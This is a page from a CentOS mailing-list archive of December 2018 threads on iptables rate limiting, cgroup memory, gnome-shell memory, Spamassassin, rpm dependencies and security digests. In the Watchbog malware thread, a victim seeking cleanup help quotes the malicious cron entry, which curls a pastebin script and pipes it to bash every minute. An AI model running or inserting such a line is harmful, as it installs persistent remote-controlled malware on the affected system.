Discuss

discuss@lists.centos.org

8 participants
34745 discussions

how to implement rate-limiting measures on interfaces using IPTables?
by Sean Son 19 Dec '18

19 Dec '18

Hello all I have been tasked to implement rate-limiting measures on interfaces using IPTables in RHEL 7. I know that in order to implement it using FirewallD, I will need to run the following command: firewall-cmd --direct --add-rule ipv4 filter IN_public_allow 0 -p tcp -m limit --limit 25/minute --limit-burst 100 -j ACCEPT How would I do the same using IPtables? Thanks!! Sean

2 1

Cgroups : memory.limit_in_bytes and memory.usage_in_bytes includes file cache?
by valleru＠cbio.mskcc.org 19 Dec '18

19 Dec '18

Hello All, We were under the assumption that Cgroups memory controller, limits memory based on just the RSS size of the process. However, i see that the process is getting killed even when the RSS size is very low compared to the limit in bytes. For example: cat memory.stat cache 85880266752 rss 2441216 rss_huge 0 mapped_file 8192 swap 0 pgpgin 29265847812 pgpgout 29244880354 pgfault 48530374728 pgmajfault 20 inactive_anon 0 active_anon 2441216 inactive_file 85879496704 active_file 770048 unevictable 0 hierarchical_memory_limit 85899345920 hierarchical_memsw_limit 85899345920 total_cache 85880266752 total_rss 2441216 total_rss_huge 0 total_mapped_file 8192 total_swap 0 total_pgpgin 29265847812 total_pgpgout 29244880354 total_pgfault 48530374728 total_pgmajfault 20 total_inactive_anon 0 total_active_anon 2441216 total_inactive_file 85879496704 total_active_file 770048 total_unevictable 0 cat memory.usage_in_bytes 85885800448 cat memory.limit_in_bytes 85899345920 What is confusing is that , why is memory.usage_in_bytes being shown as 85885800448, when the RSS is just 2441216? Is it true that memory.usage_in_bytes/memory.limit_in_bytes takes files cache into consideration when calculating the usage? Regards, Lohit

1 0

Out of memory
by Jerry Geis 19 Dec '18

19 Dec '18

Hi, I have three machines running CentOS 7.6 in desktop mode. 2 are fine. 1 of them is having a memory issue that is Out of memory [17878] 1000 17878 2069991 42311 11898880 0 0 gnome-shell This gnome-shell looking at /var/log/messages after reboot - is the HIGHEST amount of memory. Looking at "top" now - it certainly does not use that amount of ram at this time. These are the gnome-shell packages installed. rpm -qa | grep gnome-shell gnome-shell-extension-alternate-tab-3.28.1-5.el7.noarch gnome-shell-extension-top-icons-3.28.1-5.el7.noarch gnome-shell-extension-window-list-3.28.1-5.el7.noarch gnome-shell-extension-launch-new-instance-3.28.1-5.el7.noarch gnome-shell-extension-apps-menu-3.28.1-5.el7.noarch gnome-shell-extension-common-3.28.1-5.el7.noarch gnome-shell-extension-user-theme-3.28.1-5.el7.noarch gnome-shell-extension-places-menu-3.28.1-5.el7.noarch gnome-shell-3.28.3-6.el7.x86_64 Why is gnome-shell eating my memory? What can I do? Basically - the machine isn't even doing anything. Boots up and shows one static web page. At this time that is all. Then about 24 hours later its out of memory. The other 2 machines that seem fine - are showing the same web page. But not out of memory. Thanks, Jerry

3 2

Spamassassin + Postfix : delete spam mail on the server ?
by Nicolas Kovacs 19 Dec '18

19 Dec '18

Hi, My mail server is running on CentOS 7 with Postfix, Dovecot and Spamassassin. I get quite a lot of spam on a few accounts, and Spamassassin does its job fine. Spam mail is identified correctly, and it looks like there are no false positives, e. g. valid mail is never identified as spam. When a message is flagged as spam, the subject line is rewritten to begin with [SPAM]. Then, a filter in Mozilla Thunderbird is setup, and when a subject line begins with [SPAM] the message is directly sent to Trash. I've documented the whole configuration here: * https://blog.microlinux.fr/spamassassin-centos/ The problem with this setup is that spam mail is still delivered, and I need Thunderbird's filters to weed out incoming mail. And when I'm using my webmail (running SquirrelMail), my inbox is a tsunami of unread [SPAM] messages. So I'd like to go a step further and delete all messages flagged [SPAM] directly on the server. It doesn't look like Spamassassin provides this functionality. Did any of you guys succeed in doing this anyway? Cheers, Niki -- Microlinux - Solutions informatiques durables 7, place de l'église - 30730 Montpezat Site : https://www.microlinux.fr Blog : https://blog.microlinux.fr Mail : info(a)microlinux.fr Tél. : 04 66 63 10 32

10 12

CentOS-announce Digest, Vol 166, Issue 5
by centos-announce-request＠centos.org 19 Dec '18

19 Dec '18

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit https://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CEBA-2018:3832 CentOS 7 resource-agents BugFix Update (Johnny Hughes) 2. CESA-2018:3834 Important CentOS 7 ghostscript Security Update (Johnny Hughes) ---------------------------------------------------------------------- Message: 1 Date: Wed, 19 Dec 2018 03:21:52 +0000 From: Johnny Hughes <johnny(a)centos.org> To: centos-announce(a)centos.org Subject: [CentOS-announce] CEBA-2018:3832 CentOS 7 resource-agents BugFix Update Message-ID: <20181219032152.GA890(a)n04.lon1.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Bugfix Advisory 2018:3832 Upstream details at : https://access.redhat.com/errata/RHBA-2018:3832 The following updated files have been uploaded and are currently syncing to the mirrors: ( sha256sum Filename ) x86_64: 79aa7b8a924f66da70481041e131df1d717800eeb0e11f9ffe9a7ace6e3a9d2c resource-agents-4.1.1-12.el7_6.7.x86_64.rpm b36f781db6ae516889a79178393d14200ab4bdeffce8ca9d159abee4ac25a19b resource-agents-aliyun-4.1.1-12.el7_6.7.x86_64.rpm 134ad788dcf01a4d360e4afef1b60b9f0fc2e443ad3d0565a54e44659628c36b resource-agents-gcp-4.1.1-12.el7_6.7.x86_64.rpm -- Johnny Hughes CentOS Project { http://www.centos.org/ } irc: hughesjr, #centos(a)irc.freenode.net Twitter: @JohnnyCentOS ------------------------------ Message: 2 Date: Wed, 19 Dec 2018 03:22:11 +0000 From: Johnny Hughes <johnny(a)centos.org> To: centos-announce(a)centos.org Subject: [CentOS-announce] CESA-2018:3834 Important CentOS 7 ghostscript Security Update Message-ID: <20181219032211.GA983(a)n04.lon1.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2018:3834 Important Upstream details at : https://access.redhat.com/errata/RHSA-2018:3834 The following updated files have been uploaded and are currently syncing to the mirrors: ( sha256sum Filename ) x86_64: b02281b3f40e29efcc842714d9704763bce7f21f0b358a4246074513ec71da18 ghostscript-9.07-31.el7_6.6.i686.rpm 94a6c73acd88ad8c61fae422a2557f25d016c8301a5904ad416794934512af1e ghostscript-9.07-31.el7_6.6.x86_64.rpm 1a986c609ec1e7b11daeae3052847fabee509bfb40fe6188011673d990441223 ghostscript-cups-9.07-31.el7_6.6.x86_64.rpm 16c32cdf0ba38d3e109b5855a735c4d23d0cf11c2775a4dff31934a4c6c183fa ghostscript-devel-9.07-31.el7_6.6.i686.rpm 1ff0115fd9a2c9479bf9d1e490786303e53253d0aaa6b508728e671a19abfd0f ghostscript-devel-9.07-31.el7_6.6.x86_64.rpm 896fdf02ca354030aad6e2e71ffbcd49eb5a9d285d19e9f18ef03a5241e9a9be ghostscript-doc-9.07-31.el7_6.6.noarch.rpm 08a063cfd502e270eb11bee7c13b68c7d1a1fed4b13f0a8060490c704d75f3c7 ghostscript-gtk-9.07-31.el7_6.6.x86_64.rpm -- Johnny Hughes CentOS Project { http://www.centos.org/ } irc: hughesjr, #centos(a)irc.freenode.net Twitter: @JohnnyCentOS ------------------------------ Subject: Digest Footer _______________________________________________ CentOS-announce mailing list CentOS-announce(a)centos.org https://lists.centos.org/mailman/listinfo/centos-announce ------------------------------ End of CentOS-announce Digest, Vol 166, Issue 5 ***********************************************

1 0

Updating 7.5->7.6
by mark 18 Dec '18

18 Dec '18

I've got a user with a legacy NVidia card. I've got kmod-nvidia. Last time I did an update, all I did was yum update --disableexcludes. This time, it fails, with Error: Package: nvidia-x11-drv-304xx-304.135-1.el7.elrepo.x86_64 (@elrepo) Requires: xorg-x11-server-Xorg <= 1.19.99 Removing: xorg-x11-server-Xorg-1.19.5-5.el7.x86_64 (@base) xorg-x11-server-Xorg = 1.19.5-5.el7 Updated By: xorg-x11-server-Xorg-1.20.1-5.1.el7.x86_64 (updates) xorg-x11-server-Xorg = 1.20.1-5.1.el7 Available: xorg-x11-server-Xorg-1.20.1-3.el7.x86_64 (base) xorg-x11-server-Xorg = 1.20.1-3.el7 Available: xorg-x11-server-Xorg-1.20.1-5.el7.x86_64 (updates) xorg-x11-server-Xorg = 1.20.1-5.el7 I'd appreciate any help understanding what this is telling me. It *looks* like it wants to update vidia-x11-drv-304xx-304.135-1.el7.elrepo.x86_64 with vidia-x11-drv-304xx-304.135-5.el7.elrepo.x86_64 (or maybe 135-6) and then it wants to replace the elrepo mods with base or updates. Is this saying there's no update for the xorg-x11-server-Xorg (I don't see one) on elrepo? Does this mean I'll have to go back to the proprietary driver? mark

3 11

CentOS 7.5 Linux box got infected with Watchbog malware
by Kaushal Shriyan 18 Dec '18

18 Dec '18

Hi, Is there a way to find out how the CentOS 7.5 Linux box got infected with malware? Currently i am referring to http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwarera… to carry out the below steps and is done manually. 1)rm -fr /tmp/*timesyncc.service* 2)crontab -e -u apigee delete the cron entry */1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O- https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1 3)ps aux | grep watchbog kill -9 pidof watchbog Any suggestions or recommendations to find out how CentOS 7.5 Linux box got infected with Watchbog Malware. Is there any open source software which can be installed on CentOS 7.5 Linux box to detect and prevent Malware? Thanks in Advance. Best Regards, Kaushal

7 7

Re: [CentOS] CentOS 7.5 Linux box got infected with Watchbog malware
by mark 18 Dec '18

18 Dec '18

Valeri Galtsev wrote: > On 12/17/18 2:57 PM, Mauricio Tavares wrote: >> On Sat, Dec 15, 2018 at 12:40 PM Kaushal Shriyan >> <kaushalshriyan(a)gmail.com> wrote: >>> >>> >>> Is there a way to find out how the CentOS 7.5 Linux box got infected >>> with malware? Currently i am referring to >>> http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malw >>> areransomware.html to carry out the below steps and is done manually. >>> >>> 1)rm -fr /tmp/*timesyncc.service* >>> 2)crontab -e -u apigee >>> delete the cron entry */1 * * * * (curl -fsSL >>> https://pastebin.com/raw/aGTSGJJp||wget -q -O- >>> https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1 >>> 3)ps aux | grep watchbog >>> kill -9 pidof watchbog >>> >>> Any suggestions or recommendations to find out how CentOS 7.5 Linux >>> box got infected with Watchbog Malware. Is there any open source >>> software which can >> >> do you have untampered log files? >> >>> be installed on CentOS 7.5 Linux box to detect and prevent Malware? > > Standard compromise recovery procedure since forever is (your local > policy my have slightly different order about notifications and similar): > > 1. back up all user data You should have been doing that all along. First step, before you do anything else, is pull the hard drive, put it into a hot-swap or external bay, and dd the entire drive to an identical one. THAT goes to forensics. Alternatively, pull the h/d, put in a new one, reset the BIOS to factory settings - that includes pulling the battery... *then* set what you need, and then build it new, and restore from backups. <snip> Why, yes, we did just do this, um, last year, after a compromise via a WordPress security hole. It did not manage to get to any other systems (we checked, and only a few run WordPress). mark

2 1

qemu-kvm-common-ev-2.12.0-18.el7_6.1.1.x86_64 - lost KVM guests - qemu-kvm-ev
by lejeczek 18 Dec '18

18 Dec '18

hi guys, I updated to qemu-kvm-common-ev-2.12.0-18.el7_6.1.1.x86_64 (also libvirt) and my Centos 6.10 kvm guests now do not start. Funnily enough Win10 guest are fine, only Centoses cannot start, silently & without any errors. Any care to comment? many thanks, L.

2 3

determining what depends on a rpm
by Frank Cox 17 Dec '18

17 Dec '18

yum remove lightdm That command tells me that it's also going to remove lightdm-gobject and lightdm-gtk. rpm -q --whatrequires lightdm no package requires lightdm So obviously we can't take the word of the --whatrequires option from the rpm command since yum remove tells me that there are two. That being the case, using yum remove to determine the actual dependency chain is not all that helpful since (a) only the root user can do that, which seems unnecessary when all you want to get is a report about the installed packages that the rpm command can already read as a user, and (b) you're taking a chance of fat-fingering something and destroying your system by accident. Ultimately it would be very useful to have some kind of a tool that would generate a report from the rpms installed on a system and tell you exactly what depends on what else. Among other things you could use that report to remove stuff that's not needed in any installation. -- MELVILLE THEATRE ~ Real D 3D Digital Cinema ~ www.melvilletheatre.com

6 7

Jump to page:

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

Discuss